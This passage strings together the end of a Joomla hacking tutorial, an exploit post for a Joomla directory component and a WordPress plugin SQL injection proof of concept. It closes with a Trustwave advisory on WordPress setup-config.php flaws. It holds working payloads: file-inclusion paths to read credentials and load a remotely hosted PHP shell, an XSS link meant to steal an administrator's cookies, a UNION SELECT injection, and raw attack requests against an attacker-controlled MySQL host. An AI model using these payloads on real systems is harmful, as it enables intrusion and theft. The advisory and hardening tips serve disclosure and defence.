funny any more - at least for the system administrator.
A typical URL being vulnerable to LFI looks like this:
index.php?option=com_blablubb&Item=2&view=guestbookpage
Typically most of the vulnerable parameters are this one:
- controller
- view
- layout
- page
To give you some proper understanding of typical affected
URLs I provide you with some examples I found earlier this year:
URL: index.php?option=com_jejob&view=some_value
Vulnerable Parameter: view
URL: index.php?option=com_jeajaxeventcalendar&view=some_value
Vulnerable Parameter: view
URL: index.php?option=com_jradio&controller=some_value
Vulnerable Parameter: controller
((I didn't find this one.))
Now let's see how we can use this:
index.php?option=com_jradio&controller=../../../../etc/passwd
In this case we need to use the famous Nullbyte which helps us
to bypass a restriction which is set in the responsible PHP script
of the component.
In the example above the controller parameter is used to
include a file from the local hard disk. This file contains
useful information for us.
If you are not familiar with local file inclusions I recommend
you look a tutorial up since I will not explain any details here.
Now with the knowledge about a LFI vulnerability within a Joomla
component, we can try to access the configuration.php of Joomla.
This file contains very very interesting information.
Since many LFIs also reveal PHP source code, we try this one:
index.php?option=com_blabla&view=../../../configuration.php
The source code of the file is shown and we receive the login
data for the current database user. Now find a PHPMyAdmin
login on the same server and try to login with this data.
You now have access to all Joomla tables and can basically
do what you want.
::
:: 0x10 - Examples for Joomla remote file inclusions
::
Some Joomla components are also known for containing
remote file inclusion vulnerabilities. RFIs allow us to
include files from another server and to execure code on
the target.
A typical RFI URL looks like a LFI URL. In order to
give you a better feeling of how to see a RFI vulner-
ability within seconds, I show you some examples
(I did not find this ones):
URL: index.php?option=com_sef&Itemid=&mosConfig.absolute.path=.
Vulnerable Parameter: &mosConfig.absolute.path
URL: index.php?option=com_jomestate&task=.
Vulnerable Parameter: task
When you found a RFI vulnerability, try to include your PHP
shell which is hosted on another box.
Once you uploaded it, you are able to browse all Joomla files
and download them, change them, remove them...
No Joomla installation is safe when there is an exploited
RFI.
::
:: 0x11 - Examples for Joomla XSSs/CSRFs
::
XSS/CSRF vulnerabilities can mostly be found in input fields,
such as forms, guestbooks, shoutboxes and search boxes. They
allow to execute HTML/JS/VBS code within the context of the
visitor's browser.
A typical example would be to use this HTML code in order
to see if an input field or a parameter is vulnerable:
"><iframe src=http://www.google.com>
(( Try to avoid quotes in the XSS string. They are escaped
in most cases because XSS filters do their work. ))
Notice how the XSS string starts with "> and not with a
HTML tag itself. This is done in order to close the current
tag you are in.
Let's say you are trying this code on an input field.
The code for this field probably looks like this:
----------------------------------------
<input type="text" name="search" value="" />
----------------------------------------
When a web browser parses the source code of a website and
displays an input field, you of course do not see the source
code. But because you are able to do things with the input
field and are able to select it with your cursor, the browser
tells you that you are inside this <input..> tag now.
So while you are typing within an input box, you are
located somewhere here;
<input type="text" name="search" value="" />
                    ^
So let's say you are within the quotes of the value attribute
while you type something. This means that the source code looks
like this at this point: value="SOMETHINGYOUTYPEDIN
As you can see, the quotes are not closed. So now close the
quotes and the HTML tag with your XSS string in order to
have clean and working HTML code as a result:
"><iframe src=http://www.google.de>
When you press enter and the browser parses the code, it most
likely looks like this:
----------------------------------------
<input type="text" name="search" value=""><iframe src=http://...
----------------------------------------
You get the point?
Another reason why it is a good idea to start a XSS string with
"> and not with < is the fact that many XSS filters throw out
or espace the < when it is used in an input field.
Of course there are also components which allow including
HTML/JS/VBS code into a parameter. Here are some examples
I found:
URL: index.php?option=com_reservations&task=askope&nidser=2\
&namser=test
Vulnerable Parameter: namser
URL: index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0\
&data_search=test
Vulnerable Parameter: data_search
So a good example for an URL containing a XSS string could
be:
----------------------------------------
index.php?option=com_reservations&task=askope&nidser=2\
&namser="><iframe src=http://www.your-website-with-some\
malware-included.com/script.php>
----------------------------------------
Now simply send this link to the administrator of the
affected Joomla website and he will have your malicious
website included within his browser. You are now able
to read out cookies, maybe create a phishing login site
which fakes the Joomla backend login etc.
Many people being interesting in IT security think that
XSS/CSRF attacks are not critical, but in my eyes you
can cause a lot of damage by injecting code into the
context of another visitor's browser.
I discovered a XSS vulnerability within Facebook a few
months ago, just let your phantasy imagine what you
could do with this knowledge when you have a criminal
mind.
Performing such attacks are a normal part of web security
and can be very dangerous, that is why they are so
pupular.
::
:: 0x12 - How to protect your Joomla
::
So far whe have covered most of the hacking parts about
Joomla. Having some knowledge about web security and
having read this paper, you now should be able to
hack Joomla websites within minutes. Of course
you shouldn't do this, and I hope you only use this
knowledge in order to protect your own or other Joomla
websites ;)
Speaking of protecting Joomla... how can we prevent
kiddies and skilled "hackers" from breaking into
your Joomla installation?
At first make sure you follow these simple, but
important rules:
a)
Always keep Joomla up2date
b)
Always make sure you run the latest patched
versions of the extensions you used
c)
Make sure you choose strong passwords for all
logins
d)
Check your own website for vulnerabilities, you
now know how to do this
e)
Always check the webserver's log files for
potential hack attempts
f)
Secure your server if you host your Joomla
website on a VPS or even a dedicated server
g)
Create a list of all extensions you use and
try to monitor them. For example you can use
Google or security websites for staying
informed about the latest vulnerabilities.
Only use secure extensions.
Furthermore you can apply our secret weapon which
holds off like 90 percent of all script kiddie
and automated script attacks:
SEO!
Activate the SEO features, use SEF URLs and have
fun watching your webserver logfile
(use tail -f /var/log/apache2/access_log for this)
while automated mechanisms try to hack your website,
but fail because you hide your real URLs from them :)
Furthermore most tools and scanners are not able to
work with search engine friendly URLs (I have the same
problem with my self-written tools, too :\).
This might be a big surprise, but with these
measures you already gained a decent protection
level.
The last things to do would be to rename the Joomla
backend folder from "administrator" to may be
"admin_acp_1234567" in order to prevent kiddies
and scanners from finding your Joomla backend.
And, last but not least, protect the PHPMyAdmin
login (if you have any) with .htaccess files :)
(( You can't do this with the Joomla admin control
panel since some components need to have access to
administrator/components..)
::
:: 0x13 - Conclusion and a look at Joomla's feature
::
We have learned how to hack Joomla website and how
to protect them. We now know how attackers think and
what they try to do. They mainly focus on URL parameters
and input fields. They have a look at the robots.txt,
at the source code and try to find your Joomla backend
or the PHPMyAdmin page.
In fact hacking Joomla is not even difficult. All it
requires is the little knowledge being described
here and some patience.
A good thing is that Joomla itself is mostly secure,
while a sad fact is that so many Joomla components are
vulnerable to attacks which could be prevented
by applying simple filter mechanisms.
The main problem is that there are so many Joomla
extensions authors who don't have a good security
awareness and simply don*t know about potential flaws
(or even worse: they just ignore them).
The Joomla team can't do anything about this,
but what they can do is maybe introduce some sort of
premium extension database. A database which lists
secure components which are tested/checked on regular
basis. With such a system it would be possible to
create a download platform for secure addons -
some sort of premium app store, so to speak :)
Another possibility would be to force extensions
to run their input/output through filters which are
located in the Joomla framework. But as long as the
Joomla built-in methods are not good enough, this is
not a big help.
A third solution would be to only publish extensions
on extensions.joomla.org when their authors have
passed some simple tests. The topics could be web
security, basic coding and secure GET/POST stuff.
Such initiatives could only come from the Joomla
community, and as long they don't run a program like
that, Joomla will remain a very unsecure CMS
(because of the available extensions, not because
of the core).
This is maybe one of the things which prevents
the Joomla CMS from a even bigger breakthrough.
Not a small number of companies still try to avoid
using Joomla since they are concerned about security
issues.
::
:: 0x14 - How to stay informed (or: the latest vulnerabilities)
::
There are many ways to inform yourself about the latest
threads etc. One method would be to google for
"com__blablubb vulnerability", where blablubb is the name
of a component you use. If there are no serious results on
the first two pages, there is a good chance that this ex-
tension might be secure enough.
An even better idea is to open up your browser and visit
exploit-db.com and use the search feature.
An interesting project about unsecure Joomla components
is joomlaexploit.com. It contains a large list of
components which goes back to 2006 (the time when
Joomla emerged from Mambo). It is not complete and you
won't find any details about the vulnerabilities there,
but at least you have a list of potential threads for
your website.
And of course there is the famous
docs.joomla.org/Vulnerable_Extensions_List
, a maybe unreliable source because the information there
is not up2date and everything is based on humans working
on that list. But still I think they do a great job, having
in mind that they work there for free.
You can see that it is easy to stay informed, so
don't be lazy and read this stuff daily.
::
:: 0x15 - Useful tools
::
Manual testing is awesome, but automated checks are faster and
maybe even more reliable. Here are some self-written tools
you could use for your purposes:
#1
Joomla QPersonel Exploit
http://www.xenuser.org/exploits/joomla_com_qpersonel_sploit.py
#2
Automated Joomla SQL Injection Exploiter
http://www.xenuser.org/exploits/joomla_sqli_sploiter.py
#3
Joomla BF Quiz Exploit
http://www.xenuser.org/exploits/joomla_com_bfquiz_sploit.py
#4
Column Fuzzer
http://xenuser.org/tools/column_finder.py
#5
Simple SQL Injection Vulnerability Scanner
http://www.xenuser.org/tools/sqli_scanner.py
#6
Simple Log File Analyzer
http://www.xenuser.org/tools/scan_log.py
#7
Simple Local File Inclusion Exploiter
http://www.xenuser.org/tools/lfi_sploiter.py
These tools can help you to exploit vulnerabilities
within Joomla or some extensions.
Read the help (included in those tools) for details.
The Simple Log File Analyzer could be used for
scanning your Apache log files. It shows if there
are hack attempts.
::
:: 0x16 - Greetings and THX
::
I think it is only fair when you say "thank you" from
time to time to those, who work almost daily for
Open Source software or large communities.
Greetings: JosS, cr4wl3r, Todd, Josh
Most awesome site of the moment: packetstormsecurity.org
Thank you: OSVDB moderators for their free work
A big hello to Wikileaks and all the idiots who try
to stop them. You can't.
ASCII FOR BREAKFAST - http://www.xenuser.org - Valentin Hoebel - 2010-12
:::::::::::::::::::::::::::::::: - EOF - ::::::::::::::::::::::::::::::::::

Joomla Component (com_jdirectory) SQL Injection Vulnerability

 
=====================================================================
                      .__         .__  __            .__    .___
  ____ ___  _________ |  |   ____ |__|/  |_          |__| __| _/
_/ __ \\  \/  /\____ \|  |  /  _ \|  \   __\  ______ |  |/ __ |
\  ___/ >    < |  |_> >  |_(  <_> )  ||  |   /_____/ |  / /_/ |
 \___  >__/\_ \|   __/|____/\____/|__||__|           |__\____ |
     \/      \/|__|                                          \/
   Exploit-ID is the Exploit Information Disclosure
Web             : exploit-id.com
e-mail          : root[at]exploit-id[dot]com
                  #########################################
        I'm Caddy-Dz, member of Exploit-Id
      #########################################
======================================================================
####
# Exploit Title: Joomla Component com_jdirectory SQL Injection Vulnerability
# Author: Caddy-Dz
# Facebook Page: www.facebook.com/islam.caddy
# E-mail: islam_babia[at]hotmail.com  |  Caddy-Dz[at]exploit-id.com
# Website: www.exploit-id.com
# Google Dork: inurl:/component/option,com_jdirectory
# Category:: Webapps
# Tested on: [Windows 7 Edition Intégral- French]
# Vendor: http://www.joomace.net/downloads/acesef/extensions/jdirectory-acesef
####
[*] ExpLo!T :
http://www.site.com/component/option,com_jdirectory/task,show_content/contentid,1067/catid,26/directory,1/Itemid,0
http://www.site.com/component/option,com_jdirectory/task,show_content/contentid,1067/catid,26/directory,1/Itemid,0 # Inject Here
####
[+] Peace From Algeria
####
=================================**Algerians Hackers**=======================================|
# Greets To :                                                                                |
  KedAns-Dz , Kalashinkov3 & **All Algerians Hackers** , jos_ali_joe , Z190T ,               |
  All Exploit-Id Team , (exploit-id.com) , (1337day.com) , (dis9.com) , (exploit-db.com)     |
  All My Friends: T!riRou , ChoK0 , MeRdaw! , CaRras0 , StiffLer , MaaTar , St0fa , Nissou , |
  RmZ ...others                                                                              |
============================================================================================ |

WordPress Facebook Opengraph Meta Plugin 1.0 SQL Injection Vulnerability

 
# Exploit Title: WordPress Facebook Opengraph Meta Plugin plugin <= 1.0 SQL Injection Vulnerability
# Date: 2011-09-03
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/facebook-opengraph-meta-plugin.zip
# Version: 1.0 (tested)
# Note: magic_quotes has to be turned off
---
PoC
---
http://www.site.com/wp-content/plugins/facebook-opengraph-meta-plugin/all_meta.php?pst_title=1') UNION ALL SELECT CONCAT_WS(CHAR(44),version(),current_user(),database()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--%20&page=100&rows=1
---------------
Vulnerable code
---------------
$page = $_GET['page']; // get the requested page
$limit = $_GET['rows']; // get how many rows we want to have into the grid
...
if(isset($_REQUEST["pst_title"]))
    $pst_title = $_REQUEST['pst_title'];
...
if($pst_title!=''){
    $where.= " AND (wposts.post_title LIKE '%$pst_title%'";
    $where.= " OR wpostmeta.meta_value LIKE '%$pst_title%')";
}
$result = $wpdb->get_var("SELECT COUNT(*) AS count FROM $wpdb->postmeta WHERE meta_key = '_OgMeta'");
$count = $result['count'];
if( $count >0 )
{
    $total_pages = ceil($count/$limit);
}
else
{
    $total_pages = 0;
}
if ($page > $total_pages)
    $page=$total_pages; $start = $limit*$page - $limit;
...
$querystr = "
    SELECT wposts.*
    FROM $wpdb->posts wposts, $wpdb->postmeta wpostmeta
    WHERE wposts.ID = wpostmeta.post_id
    AND wpostmeta.meta_key = '_OgMeta'
    AND wposts.post_status = 'publish'
    AND (wposts.post_type = 'post' OR wposts.post_type = 'page')".$where.
    "ORDER BY wposts.post_date DESC
    LIMIT $start , $limit
    ";
$result = $wpdb->get_results($querystr);//, OBJECT);

WordPress <= 3.3.1 Multiple Vulnerabilities

Trustwave's SpiderLabs Security Advisory TWSL2012-002:
Multiple Vulnerabilities in WordPress
https://www.trustwave.com/spiderlabs/advisories/TWSL2012-002.txt
Published: 1/24/12
Version: 1.0
Vendor: WordPress (http://wordpress.org/)
Product: WordPress
Version affected: 3.3.1 and prior
Product description:
WordPress is a free and open source blogging tool and publishing platform
powered by PHP and MySQL.
Credit: Jonathan Claudius of Trustwave SpiderLabs
Finding 1: PHP Code Execution and Persistent Cross Site Scripting
Vulnerabilities via 'setup-config.php' page.
CVE: CVE-2011-4899
The WordPress 'setup-config.php' installation page allows users to install
WordPress in local or remote MySQL databases. This typically requires a user
to have valid MySQL credentials to complete.  However, a malicious user can
host their own MySQL database server and can successfully complete the
WordPress installation without having valid credentials on the target system.
After the successful installation of WordPress, a malicious user can inject
malicious PHP code via the WordPress Themes editor.  In addition, with control
of the database store, malicious Javascript can be injected into the content
of WordPress yielding persistent Cross Site Scripting.
Proof of Concept:
Servers Involved
A.B.C.D = Target WordPress Web Server
W.X.Y.Z = Malicious User's MySQL Instance
1.) Malicious User hosts their own MySQL instance at W.X.Y.Z on port 3306
2.) Performs POST/GET Requests to Install WordPress into MySQL Instance
Request #1
----------
POST /wp-admin/setup-config.php?step=2 HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1
Cookie: wp-settings-time-1=1322687480; wp-settings-1=m9%3Do
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
dbname=wordpress&uname=jsmith&pwd=jsmith&dbhost=W.X.Y.Z&prefix=wp_&submit=Submit
Request #2
----------
GET /wp-admin/install.php HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=2
Cookie: wp-settings-time-1=1322687480; wp-settings-1=m9%3Do
If-Modified-Since: Wed, 07 Dec 2011 16:03:33 GMT
3.) Get PHP Code Execution
Malicious user edits 404.php via Themes Editor as follows:
<?php
phpinfo();
?>
Note #1: Any php file in the theme could be used.
Note #2: Depending settings, PHP may be used to execute system commands
         on webserver.
Malicious user performs get request of modified page to execute code.
Request
-------
GET /wp-content/themes/default/404.php HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1
4.) Get Persistent Cross Site Scripting
Malicious User Injects Malicious Javascript into their own MySQL database instance
MySQL Query
-----------
update wp_comments SET
comment_content='<script>alert('123')</script>' where comment_content='Hi,
this is a comment.<br />To delete \ a comment, just log in and view the
post's comments. There you will have the option to edit or delete
them.';
Non-malicious User Visits Wordpress installation and has Javascript executed on their browser
Request
-------
GET /?p=1 HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1
Finding 2: Multiple Cross Site Scripting Vulnerabilities in
'setup-config.php' page
CVE: CVE-2012-0782
The WordPress 'setup-config.php' installation page allows users to install
WordPress in local or remote MySQL databases. When using this installation page
the user is asked to supply the database name, the server that the database
resides on, and a valid MySQL username and password.
During this process, malicious users can supply javascript within
the "dbname", "dbhost" or "uname" parameters. Upon clicking the submission
button, the javascript is rendered in the client's browser.
Proof of Concept:
Servers Involved
A.B.C.D = Target WordPress Web Server
Request
-------
POST /wp-admin/setup-config.php?step=2 HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
dbname=%3Cscript%3Ealert%28%27123%27%29%3C%2Fscript%3E&uname=root&pwd=&dbhost=localhost&prefix=wp_&submit=Submit
Finding 3: MySQL Server Username/Password Disclosure Vulnerability via
'setup-config.php' page
CVE: CVE-2011-4898
The WordPress 'setup-config.php' installation page allows users to install
WordPress in local or remote MySQL databases. When using this installation page
the user is asked to supply the database name, the server the database resides
on, and a valid MySQL username and password.
Malicious users can omit the "dbname" parameter during this process, allowing
them to continually bruteforce MySQL instance usernames and passwords. This
includes any local or remote MySQL instances which are accessible to the
target web server. This can also be used as a method to proxy MySQL bruteforce
attacks against other MySQL instances outside of the target organization.
Proof of Concept:
Servers Involved
A.B.C.D = Target WordPress Web Server
L.M.N.O = Any MySQL Server for which the Web Server has network access
Request
-------
POST /wp-admin/setup-config.php?step=2 HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
uname=mysql&pwd=mysql&dbhost=L.M.N.O
Response (If Password is Valid)
-------------------------------
<---snip-->
We were able to connect to the database server (which means your username
and password is okay) but not able to select the database.
<---snip-->
Response (If Password is Invalid)
---------------------------------
<---snip-->
This either means that the username and password information in your
wp-config.php file is incorrect or we can't contact the database server at
localhost. This could mean your host's database server is down.
<---snip-->
Vendor Response:
Due to the fact that the component in question is an installation script,
the vendor has stated that the attack surface is too small to warrant
a fix:
"We give priority to a better user experience at the install process. It is
unlikely a user would go to the trouble of installing a copy of WordPress
and then not finishing the setup process more-or-less immediately. The
window of opportunity for exploiting such a vulnerability is very small."
However, Trustwave SpiderLabs urges caution in situations where the
WordPress installation script is provided as part of a default image.
This is  often done as a convenience on hosting providers, even in
cases where the client does not use the software. It is a best practice
to ensure  that no installation scripts are exposed to outsiders, and
these vulnerabilities reinforce the importance of this step.
Remediation Steps:
No official fix for these issues will be released for the WordPress
publishing platform. However, administrators can mitigate these issues by
creating strong MySQL passwords and defining rules within a web application
firewall (WAF) solution. ModSecurity (http://www.modsecurity.org/) has
added rules to the commercial rules feed for these issues, and Trustwave's
vulnerability scanning solution, TrustKeeper, has been updated to detect
exposed installation scripts.
Vendor Communication Timeline:
12/22/11 - Vulnerability disclosed
01/16/12 - Confirmation to release vulnerabilities
01/24/12 - Advisory published
References
1. http://www.wordpress.org
About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based
information security and payment card industry compliance management
solutions to businesses and government entities throughout the world. For
organizations faced with today's challenging data security and compliance
environment, Trustwave provides a unique approach with comprehensive
solutions that include its flagship TrustKeeper compliance management
software and other proprietary security solutions. Trustwave has helped
thousands of organizations--ranging from Fortune 500 businesses and large
financial institutions to small and medium-sized retailers--manage
compliance and secure their network infrastructure, data communications and
critical information assets. Trustwave is headquartered in Chicago with
offices throughout North America, South America, Europe, Africa, China and
Australia. For more information, visit https://www.trustwave.com
About Trustwave's SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs
Disclaimer:
The information provided in this advisory is provided "as is" without
warranty of any kind. Trustwave disclaims all warranties, either express or
implied, including the warranties of merchantability and fitness for a
particular purpose. In no event shall Trustwave or its suppliers be liable
for any damages whatsoever including direct, indirect, incidental,
consequential, loss of business profits or special damages, even if
Trustwave or its suppliers have been advised of the possibility of such
damages. Some states do not allow the exclusion or limitation of liability
for consequential or incidental damages so the foregoing limitation may not
apply.
This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format.